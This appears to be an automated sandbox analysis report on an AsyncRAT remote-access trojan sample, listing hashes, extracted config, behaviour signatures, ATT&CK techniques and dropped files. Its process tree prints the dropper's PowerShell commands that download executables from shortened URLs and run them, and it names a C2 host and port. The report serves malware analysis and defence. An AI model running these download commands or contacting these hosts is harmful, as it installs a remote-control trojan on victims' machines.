asyncrat | d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f

General

Target

d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f.exe
Size

309KB
MD5

6940553fce65b288660a664eb039ffe2
SHA1

8687dc9a6dc0f4b65035bcc76a5e6785eedf66e1
SHA256

d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f
SHA512

044430fecd45f6119bf06c1ad4a3e7cd02464f579bd901ee883f12c05429812d0181b2fdf918db8a2f0070f7ccec184de0b11ba139a138a48bc45f3508041dc4
SSDEEP

6144:z8JsLcpjzTDDmHayakLkrb4NSarQW82X+t40X9U:IzxzTDWikLSb4NS7t2X+t40X9U

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tinyurl.com/m58snm44

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tinyurl.com/yc3v5z49

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:7620

matter-ivory.gl.at.ply.gg:7620

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0009000000023443-50.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
21	4584	powershell.exe
23	4584	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	le.exe

Executes dropped EXE 2 IoCs

pid	Process
3212	le.exe
1692	Infected.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1084	powershell.exe
4584	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1084	powershell.exe
1084	powershell.exe
4584	powershell.exe
4584	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeDebugPrivilege	1692	Infected.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 860 wrote to memory of 1452	860	d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f.exe	86
PID 860 wrote to memory of 1452	860	d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f.exe	86
PID 860 wrote to memory of 1452	860	d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f.exe	86
PID 1452 wrote to memory of 1084	1452	cmd.exe	90
PID 1452 wrote to memory of 1084	1452	cmd.exe	90
PID 1452 wrote to memory of 1084	1452	cmd.exe	90
PID 1452 wrote to memory of 4584	1452	cmd.exe	91
PID 1452 wrote to memory of 4584	1452	cmd.exe	91
PID 1452 wrote to memory of 4584	1452	cmd.exe	91
PID 1452 wrote to memory of 3212	1452	cmd.exe	96
PID 1452 wrote to memory of 3212	1452	cmd.exe	96
PID 1452 wrote to memory of 3212	1452	cmd.exe	96
PID 3212 wrote to memory of 1692	3212	le.exe	97
PID 3212 wrote to memory of 1692	3212	le.exe	97

C:\Users\Admin\AppData\Local\Temp\d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f.exe
"C:\Users\Admin\AppData\Local\Temp\d4bc343f7ecdf7008db9c9c71b1d8e275051f24c3dc64b1353a32fcd0e92782f.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:860
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\rattesting.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://tinyurl.com/m58snm44', 'file.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1084
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://tinyurl.com/yc3v5z49', 'le.exe')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4584
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\le.exe
    le.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Infected.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Infected.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
33b19d75aa77114216dbc23f43b195e3

SHA1
36a6c3975e619e0c5232aa4f5b7dc1fec9525535

SHA256
b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

SHA512
676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
14KB

MD5
da87825f97636a819543ddcc6a87c5f0

SHA1
f6ec7d6ecc8417ece6ee48e7e3ed05b939f9495a

SHA256
ebc0d535f6d5542d36bb5c7c5445fcc98d37c57a5d26231416cdfe3c6e1c1a39

SHA512
0955ce95dd92e58d78a1979932e6ea61a6e20f47f4dd9c3e8b809f5cd4d684080da60e186a2355907a0d2220eb5e36207356b2f1f344c635d88654cc1530d074

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\le.exe

Filesize
337KB

MD5
dbe710354bababe1dcae3c50bac53e1b

SHA1
9041128198280b7d23495e4cd87f5dce1c3148a5

SHA256
75a000fc84f6fe726d74ecd731667b035d4582bf327e6d493854e7cd2426eccd

SHA512
950ce5b06bffc34f69549925c2b7b40fa6155920201791efa97a5cdbaa305f14adcd906dc93b6e9797d20f29fd394a1d57db2a3cf9f643e329eb854f09ccad45

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\rattesting.bat

Filesize
287B

MD5
e072208f0724637156d508b89db54154

SHA1
ba65e528c56726d34e123bced6d6a3cd26e2cf0a

SHA256
29d168033c119e30aa7939abb96631d2714fb1051d4a25369074047abcca6fda

SHA512
0fabd9faeab61048e7adbcfb9c76b841640a17f26fed512bea0f29222a8a5fe8667eb023c171c3b14735fda000c021e4cdd157f7fcd0cddef917d77adae9be17

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Infected.exe

Filesize
63KB

MD5
443839fb3524964b6c933d7db3adaa2d

SHA1
b546ecb5afc2417a75df4f7bc327a0d7cfb7f43f

SHA256
0edc71223f931255d1611bce6f5a7ff6b671e44a5eae5a8caf15f0db76e58195

SHA512
10786e5f2c6032d61bd59b491145f1bc399c6902c9bc707e4ad934e4899a82cc1c18e45267bffd4f9fe9fef468d1c6e1939664755047fd5e855a279468c102d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tsfy1cah.f5m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1084-9-0x0000000005080000-0x00000000050A2000-memory.dmp

Filesize
136KB

Download
memory/1084-8-0x0000000005190000-0x00000000057B8000-memory.dmp

Filesize
6.2MB

Download
memory/1084-10-0x0000000005970000-0x00000000059D6000-memory.dmp

Filesize
408KB

Download
memory/1084-21-0x0000000005B50000-0x0000000005EA4000-memory.dmp

Filesize
3.3MB

Download
memory/1084-22-0x0000000006030000-0x000000000604E000-memory.dmp

Filesize
120KB

Download
memory/1084-23-0x0000000006060000-0x00000000060AC000-memory.dmp

Filesize
304KB

Download
memory/1084-26-0x0000000072980000-0x0000000073130000-memory.dmp

Filesize
7.7MB

Download
memory/1084-16-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

Download
memory/1084-5-0x000000007298E000-0x000000007298F000-memory.dmp

Filesize
4KB

Download
memory/1084-7-0x0000000072980000-0x0000000073130000-memory.dmp

Filesize
7.7MB

Download
memory/1084-6-0x0000000004A70000-0x0000000004AA6000-memory.dmp

Filesize
216KB

Download
memory/1692-58-0x00000000007C0000-0x00000000007D6000-memory.dmp

Filesize
88KB

Download
memory/4584-40-0x0000000006CB0000-0x0000000006CCA000-memory.dmp

Filesize
104KB

Download
memory/4584-39-0x0000000007EE0000-0x000000000855A000-memory.dmp

Filesize
6.5MB

Download
memory/4584-28-0x00000000060E0000-0x0000000006434000-memory.dmp

Filesize
3.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads